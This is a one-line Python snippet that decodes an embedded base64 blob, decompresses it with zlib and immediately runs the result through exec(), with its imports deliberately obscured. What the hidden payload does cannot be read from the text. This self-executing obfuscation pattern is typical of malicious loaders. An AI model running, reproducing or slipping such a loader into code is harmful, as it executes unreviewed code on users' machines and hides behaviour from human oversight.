exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LAzEQPW9+RW5JMA3dum6huIKIBxERbG8ispuMNWw2CUmqq+J/tyHFywzvzZs3H3ryLiQcnRwh8W+jBz70EdqGxxQOMvGkJ0BvLuAZa4tDb/dA6yXboCqFr2OsYleaRUl0xU94+3hz/7rdPd1eP7CsE9JZCzJRSlYiSS/sPrhRaEd4vT6vW5ZVQ4B+RBXMEnzK9nm+iAbA0wuGTFfWEgfrezlScnVHeBQB5AdtGHteviDVnbBh6PNdG8AGLFXs0hzt1Nl/dVFohmAGSfPlQoF0kw8QIy1PEEPbZFJBVvIfEskm/jL0B1PTYdI=')[0])))